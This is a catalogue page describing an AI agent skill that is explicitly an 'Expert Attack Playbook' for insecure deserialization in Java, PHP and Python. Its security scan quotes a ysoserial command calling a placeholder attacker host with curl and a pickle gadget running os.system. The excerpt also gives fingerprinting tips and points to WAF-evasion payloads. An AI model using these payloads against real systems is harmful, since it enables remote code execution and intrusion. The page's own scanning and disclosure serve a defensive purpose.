Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/miru-zero/zero-brain/deserialization-insecurenpx skills add miru-zero/zero-brain --skill deserialization-insecuregit clone --depth 1 https://github.com/miru-zero/zero-brainWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00052 | $0.06580 |
| Opus 5 | $0.00026 | $0.03290 |
| Sonnet 5 | $0.00010 | $0.01316 |
| Haiku 4.5 | $0.00005 | $0.00658 |
Grade A, and why
deserialization-insecure scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ("id",)) This is a copy
94% identical to deserialization-insecure — 4 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 726 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Insecure Deserialization — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
0. RELATED ROUTING
- jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
- unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
- ghost-bits-cast-attack when a WAF blocks your BCEL ClassLoader or Fastjson
@typepayload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint
Advanced Reference
Also load JAVA_GADGET_CHAINS.md when you need:
- Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
- SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
- Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
- .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
- Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
- Detection fingerprints: magic bytes table by format (Java
AC ED, .NETAAEAAD, Python pickle80 0N, PHPO:, Ruby04 08)
1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
Java Serialized Objects
| Indicator | Where to Look |
|---|---|
Hex ac ed 00 05 |
Raw binary in request/response body, cookies, POST params |
Base64 rO0AB |
Cookies (rememberMe), hidden form fields, JWT claims |
Content-Type: application/x-java-serialized-object |
HTTP headers |
| T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 726 lines · 52 tokens per session scan A 77c3d42d98c3
deserialization-insecure is a skill published in the GitHub repository miru-zero/zero-brain (0 stars, last pushed 15d ago), licensed MIT. It adds 52 tokens to every session and 6,580 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). It is 94% identical to deserialization-insecure, differing in 4 lines, and is treated as a copy.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
brainstorming
You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. Explores user intent, requirements and design before implementation.
auto-perf-optimize
Run agent-driven VS Code performance or memory investigations. Use when asked to launch Code OSS, automate a VS Code scenario, run the Chat memory smoke runner, capture renderer heap snapshots, take workflow screenshots, compare run summaries, or drive a repeatable scenario before heap-snapshot analysis.
chat-perf
Run chat perf benchmarks and memory leak checks against the local dev build or any published VS Code version. Use when investigating chat rendering regressions, validating perf-sensitive changes to chat UI, or checking for memory leaks in the chat response pipeline.
chat-pet-sprite-creation
Use when creating or changing VS Code chat pet sprite art, sprite sheets, state animations, eye treatments, Stable/Insiders variants, or pet transitions under src/vs/workbench/contrib/chat/browser/widget/media/chatPet.
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…